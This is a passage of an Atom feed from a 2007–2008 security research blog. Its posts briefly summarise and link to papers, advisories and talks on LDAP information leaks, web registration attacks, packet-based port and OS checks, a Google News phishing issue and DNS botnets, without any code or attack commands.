type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/984622359118085655'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/02/new-tools-added-track.html' title='New Tools Added : Track'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-1994101426092408407</id><published>2008-02-09T08:59:00.000-08:00</published><updated>2008-02-09T09:03:05.672-08:00</updated><title type='text'>Thread Profiling Checks : Code Prominence</title><content type='html'>This entry strictly deals with the Thread Optimization Checks. When the concept of optimization is undertaken the Profiling of code is a Logical aspect that has to follow. For smaller segments of code [ single line command execution] , process of Micro profiling is followed. When larger codes are encountered , the Macro profiling is applied. When any process is initialized , threads will be generated based on the code that is executing. For all type of functions defined and called , it will generate a thread in system state during execution. The Instruction Usage plays a crucial role in Profiling.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.openrce.org/blog/view/1050/Thread_Optimization_Checks_:_Code_Prominence&lt;br /&gt;"&gt;http://www.openrce.org/blog/view/1050/Thread_Optimization_Checks_:_Code_Prominence&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-1994101426092408407?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/1994101426092408407/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=1994101426092408407' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1994101426092408407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1994101426092408407'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/02/thread-profiling-checks-code-prominence.html' title='Thread Profiling Checks : Code Prominence'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-4479810619765082484</id><published>2008-02-05T03:13:00.000-08:00</published><updated>2008-06-19T10:13:06.074-07:00</updated><title type='text'>Usenix ;login Feature New Research Paper : Insecurities in Designing in XML Signatures</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_2r2SQhqglf4/SFqTlrCqsMI/AAAAAAAAAPo/5yAlbnRYbJY/s1600-h/login.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_2r2SQhqglf4/SFqTlrCqsMI/AAAAAAAAAPo/5yAlbnRYbJY/s320/login.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5213641794053124290" /&gt;&lt;/a&gt;&lt;br /&gt; This article encompasses the practical problems in designing XML signatures through the use of APIs. XML signatures are used to provide security to data of any kind whether XML or binary. The confidentiality, integrity, and authenticity of the message has to be preserved when designing a SOAP request for communication. XML API functionality is very versatile but at the same time protection measures have to be included to prevent loss of data.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.usenix.org/publications/login/2008-02/index.html"&gt;http://www.usenix.org/publications/login/2008-02/index.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-4479810619765082484?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/4479810619765082484/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=4479810619765082484' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4479810619765082484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4479810619765082484'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/02/usenix-login-feature-new-research-paper.html' title='Usenix ;login Feature New Research Paper : Insecurities in Designing in XML Signatures'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_2r2SQhqglf4/SFqTlrCqsMI/AAAAAAAAAPo/5yAlbnRYbJY/s72-c/login.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-5806597746737211559</id><published>2008-01-23T03:10:00.000-08:00</published><updated>2008-01-23T03:20:56.778-08:00</updated><title type='text'>CyTrap Labs Projected WAZ Evaluation Sheet</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_2r2SQhqglf4/R5ciRO3UuyI/AAAAAAAAAMw/epBWQn86ftY/s1600-h/ist2_2895195_evaluation_sheet.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_2r2SQhqglf4/R5ciRO3UuyI/AAAAAAAAAMw/epBWQn86ftY/s320/ist2_2895195_evaluation_sheet.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5158629577619454754" /&gt;&lt;/a&gt;Cytrap Labs has generated a evaluation sheet for Windows Anti Zomb Tool. You can see the details on the Cytrap Lab Blog :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.cytrap.eu/?p=310"&gt;http://blog.cytrap.eu/?p=310&lt;/a&gt;&lt;br /&gt;&lt;a href="http://cytrap.eu/radio_show/newsletter/newsletter93.html"&gt;http://cytrap.eu/radio_show/newsletter/newsletter93.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-5806597746737211559?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/5806597746737211559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=5806597746737211559' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5806597746737211559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5806597746737211559'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/01/cytrap-labs-projected-waz-evaluation.html' title='CyTrap Labs Projected WAZ Evaluation Sheet'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_2r2SQhqglf4/R5ciRO3UuyI/AAAAAAAAAMw/epBWQn86ftY/s72-c/ist2_2895195_evaluation_sheet.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-4583797800117336392</id><published>2007-12-13T09:04:00.000-08:00</published><updated>2007-12-13T09:06:55.243-08:00</updated><title type='text'>MAC Adapters Curb on SLIP/PPP : Tools Sanitization</title><content type='html'>The adapter connection over SLIP/PPP shows a problematic behavior when certain  tools are used. The problem most of the tools found is getting the right adapter &lt;br /&gt;info. As a result of this number of tools does not respond well. For Example : &lt;br /&gt;TCP based traceroute for windows platform i.e. tracetcp. Tcptraceroute is tool &lt;br /&gt;that uses TCP functionality to trace the destination on Linux. The similar &lt;br /&gt;implementation is tracetcp on windows. The problem arise when this tool fails to &lt;br /&gt;respond with SLIP/PPP.&lt;br /&gt;&lt;br /&gt;Read:&lt;br /&gt;&lt;a href="http://triosec.secniche.org/concepts/slip_ppp.txt"&gt;http://triosec.secniche.org/concepts/slip_ppp.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;zknk&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-4583797800117336392?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/4583797800117336392/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=4583797800117336392' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4583797800117336392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4583797800117336392'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2007/12/mac-adapters-curb-on-slipppp-tools.html' title='MAC Adapters Curb on SLIP/PPP : Tools Sanitization'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-8671160117748184660</id><published>2007-12-03T07:42:00.000-08:00</published><updated>2007-12-03T07:43:52.423-08:00</updated><title type='text'>[Whitepaper] Information Prone LDAP Garbage Dumps</title><content type='html'>The LDAP garbage dump that remains on web server results in information disclosure. Security of LDAP may be compromised, if for instance a search engine crawls through untamed directories on the web server and finds information through the ldap.xml file. This type of harvesting attack is also termed static information leveraging attack.This article provides methods for dealing with this type of attack and clarifying how to secure LDAP.The ldap.xml file, often remains on the server due to either misconfiguration or improper server administration.&lt;br /&gt;&lt;br /&gt;More:&lt;a href="http://secniche.org/papers/Inf_Pr_Ldap_Gar_Dumps.pdf"&gt;http://secniche.org/papers/Inf_Pr_Ldap_Gar_Dumps.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;zknk&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8671160117748184660?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8671160117748184660/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8671160117748184660' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8671160117748184660'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8671160117748184660'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2007/12/whitepaper-information-prone-ldap.html' title='[Whitepaper] Information Prone LDAP Garbage Dumps'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-3141856356826966561</id><published>2007-11-28T00:05:00.000-08:00</published><updated>2007-11-28T00:07:55.787-08:00</updated><title type='text'>Web Registration Attacks : Digging in.</title><content type='html'>The registration attacks are on high now days.It actually comprise of the definitive manipulation in the databases through fake user registration. The database is flooded with users through poorly coded registration pages. You might have seen many registration pages with input arguments as user name, password, email , address etc. The specified arguments are placed as controls on web page. The attackers are very crafty in their approach of infecting the web applications.&lt;br /&gt;&lt;br /&gt;More:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://triosec.secniche.org/concepts/reg_attack.txt"&gt;http://triosec.secniche.org/concepts/reg_attack.txt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-3141856356826966561?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/3141856356826966561/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=3141856356826966561' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3141856356826966561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3141856356826966561'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2007/11/web-registration-attacks-digging-in.html' title='Web Registration Attacks : Digging in.'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-1369841909936428951</id><published>2007-11-24T20:37:00.000-08:00</published><updated>2007-11-24T20:49:57.809-08:00</updated><title type='text'>TCP Port Sequence Check : Port Querying</title><content type='html'>The point of talk is to check the port status with the incoming TCP sequence from the target. It is one of the reliable technique in determining the port status. No doubt from standard a debugged response from the target will provide you the status of flags efficiently. Sometimes with simple TCP Sequence check the port structure can be verified. We are going to prove this by HPing packet crafting to dissect the TCP sequence number.&lt;br /&gt;&lt;br /&gt;For more:&lt;br /&gt;&lt;a href="http://triosec.secniche.org/concepts/tcp_seq_port.txt"&gt;http://triosec.secniche.org/concepts/tcp_seq_port.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;zknk&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-1369841909936428951?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/1369841909936428951/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=1369841909936428951' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1369841909936428951'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1369841909936428951'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2007/11/tcp-port-sequence-check-port-querying.html' title='TCP Port Sequence Check : Port Querying'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7332014506409237850</id><published>2007-11-22T00:57:00.000-08:00</published><updated>2008-01-04T03:50:56.901-08:00</updated><title type='text'>SecNiche Project : Reversing System Semantics</title><content type='html'>SecNiche has stated a new project on reverse engineering.This project is dedicated to reverse engineering. It comprise of drafts and papers explaining the different techniques that are used differentially during analysis.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://reversing.secniche.org"&gt;http://reversing.secniche.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;zknk&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7332014506409237850?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7332014506409237850/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7332014506409237850' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7332014506409237850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7332014506409237850'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2007/11/secniche-project-reversing-system.html' title='SecNiche Project : Reversing System Semantics'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7262117011817047660</id><published>2007-11-11T10:17:00.001-08:00</published><updated>2007-11-11T10:30:46.066-08:00</updated><title type='text'>Google Acted Slowly : The Translation Issue is Corrected</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_2r2SQhqglf4/RzdJC6Lp4fI/AAAAAAAAAMc/9cszTZNM57c/s1600-h/gf.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_2r2SQhqglf4/RzdJC6Lp4fI/AAAAAAAAAMc/9cszTZNM57c/s320/gf.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5131650614738674162" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As I stated earlier in my post regarding Google Translation Issue.After long time it has been undertaken by Google and has been corrected.The Google has stopped the English to English Translation. Even if you strip off the parameters and try to redirect it would not be possible.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://translate.google.com/translate?u=http://www.packetstormsecurity.org"&gt;http://translate.google.com/translate?u=http://www.packetstormsecurity.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can find the original layout:&lt;br /&gt;&lt;a href="http://zeroknock.blogspot.com/2007/01/google-tranlate-prone-to-redirection.html"&gt;&lt;br /&gt;http://zeroknock.blogspot.com/2007/01/google-tranlate-prone-to-redirection.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The issue is positively corrected after long time.&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7262117011817047660?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7262117011817047660/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7262117011817047660' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7262117011817047660'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7262117011817047660'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2007/11/google-acted-slowly-translation-issue.html' title='Google Acted Slowly : The Translation Issue is Corrected'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_2r2SQhqglf4/RzdJC6Lp4fI/AAAAAAAAAMc/9cszTZNM57c/s72-c/gf.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-2776135090377323537</id><published>2007-11-11T09:50:00.000-08:00</published><updated>2007-11-11T09:52:27.685-08:00</updated><title type='text'>OS Specification Check : IP ID Testing</title><content type='html'>The IP ID field is critical part in designing and crafting of packets. Mostly the ID field play a generic role when ever a response is undertaken from destination. There are certain facts about ID which enhances the mode of penetration testing in which it is going to be performed.&lt;br /&gt;&lt;br /&gt;check : &lt;a href="http://triosec.secniche.org/concepts/ip_id_os_det.txt"&gt;http://triosec.secniche.org/concepts/ip_id_os_det.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cheers&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-2776135090377323537?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/2776135090377323537/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=2776135090377323537' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2776135090377323537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2776135090377323537'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2007/11/os-specification-check-ip-id-testing.html' title='OS Specification Check : IP ID Testing'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-6437684683658490994</id><published>2007-10-29T02:54:00.000-07:00</published><updated>2007-10-29T03:07:36.668-07:00</updated><title type='text'>Google News Network Phishing Vulnerability</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_2r2SQhqglf4/RyWvwPUMY6I/AAAAAAAAAMI/G7lb2J9q5qQ/s1600-h/goog.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_2r2SQhqglf4/RyWvwPUMY6I/AAAAAAAAAMI/G7lb2J9q5qQ/s320/goog.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5126696994110989218" /&gt;&lt;/a&gt; Recent times lot of vulnerabilities have been stated in Google network.It has been noticed that Google news network is fallible to phishing and also to third party attacks. It has been advised to Google. no doubt Google acknowledges. You can look into detailed advisory at:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://secniche.org/advisory/GoogleNewsPhish.pdf"&gt;http://secniche.org/advisory/GoogleNewsPhish.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Only Google knows when the security measures to be taken and applied.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-6437684683658490994?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/6437684683658490994/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=6437684683658490994' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6437684683658490994'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6437684683658490994'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2007/10/google-news-network-phishing.html' title='Google News Network Phishing Vulnerability'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_2r2SQhqglf4/RyWvwPUMY6I/AAAAAAAAAMI/G7lb2J9q5qQ/s72-c/goog.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-1698358953104535449</id><published>2007-10-26T22:44:00.000-07:00</published><updated>2007-10-26T22:51:23.051-07:00</updated><title type='text'>Take Down Zombies : DNS Sanitization and BOTNETS</title><content type='html'>I have recently added slides of my latest talk presented at CERT-IN.The slides and demonstration layout material have been added to the website. The talk basically revolves around DNS protocol problems that are further exploited by attackers in launching DDoS amplification attacks and other stringent problems.&lt;br /&gt;&lt;br /&gt;Download :  &lt;a href="http://www.secniche.org/talks/take_down_zombies_2007_aks_oknock.pdf"&gt;http://www.secniche.org/talks/take_down_zombies_2007_aks_oknock.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AkS&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-1698358953104535449?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/1698358953104535449/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=1698358953104535449' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1698358953104535449'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1698358953104535449'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2007/10/take-down-zombies-dns-sanitization-and.html' title='Take Down Zombies : DNS Sanitization and BOTNETS'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry></feed>
